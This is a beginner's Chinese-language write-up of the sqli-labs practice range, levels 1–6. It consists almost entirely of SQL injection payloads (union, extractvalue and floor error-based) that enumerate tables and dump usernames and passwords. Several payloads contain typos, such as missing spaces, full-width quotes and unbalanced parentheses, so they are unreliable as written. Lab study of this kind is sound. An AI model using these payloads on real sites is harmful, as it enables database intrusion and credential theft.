本人是个小菜鸡,如果有那些地方不对了,请大佬指点
Sqli靶场 1-4关
?id=1 and 1=2 //查询是数字还是字符注入
?id=1' --+ //查询闭合方式
?id=1’group by 4 --+ //判断有几个列
?id=-1' union select 1,2,3 --+ //判断库的回显位
?id=-1’ union select 1,2,database()--+ //爆出数据库的名字
?id=-1’ unionselect 1,2,group_concat(table_name) from information_schema.tables wheretable_schema=database() --+ //爆库里面的所有的表
?id=-1’union select1,2,group_concat(column_name) from information_schema.columns wheretable_schema=database() and table_name='users'--+ //爆出表名里面的字段
?id=-1' union select1,2,group_concat(password,0x3a,username,0x0a) from users --+
//爆出列表中所需要的数据
‘
前四关做法都是一样的,只是闭合方式不同,更换闭合方式
Sqli靶场 5-6关
用了两种方法,一个是extractvalue函数和floor函数
看到报错信息,第一反应就是布尔型盲注、报错型注入、时间延迟型盲注等等
?id=1' andextractvalue(1,concat(1,(select database()))) --+ //这里用extractvalue函数爆出库名
?id=1' and extractvalue(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_name=database() --+ //然后再把库里面的表名给爆出来
?id=1' and extractvalue(1,concat(1,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'))) --+ //把里面的列名给爆出来
?id=1' and extractvalue(1,concat(1,substr((select group_concat(username,0x3a,password,0x0a) from users ),32,32))) --+ //成功的爆破到
Sqli靶场 5-6 floor函数
?id=1' union select 1,count(*),concat_ws('~',(select database()),floor(rand(0)*2)) as x from information_schema.tables group by x --+ //用floor函数,进行报错,把库名爆出来
?id=1' union select 1,count(*),concat_ws('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as x from information_schema.tables group by x --+
?id=1' union select 1,count(*),concat_ws('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),floor(rand(0)*2)) as x from information_schema.tables group by x --+ //接着爆出表名里面的列表名,找到需要的列名
?id=1' union select 1,count(*),concat_ws('~',(select concat(username,0x3a,password) from users limit 0,1),floor(rand(0)*2)) as x from information_schema.tables group by x --+ //运用limit函数进行一个一个的爆错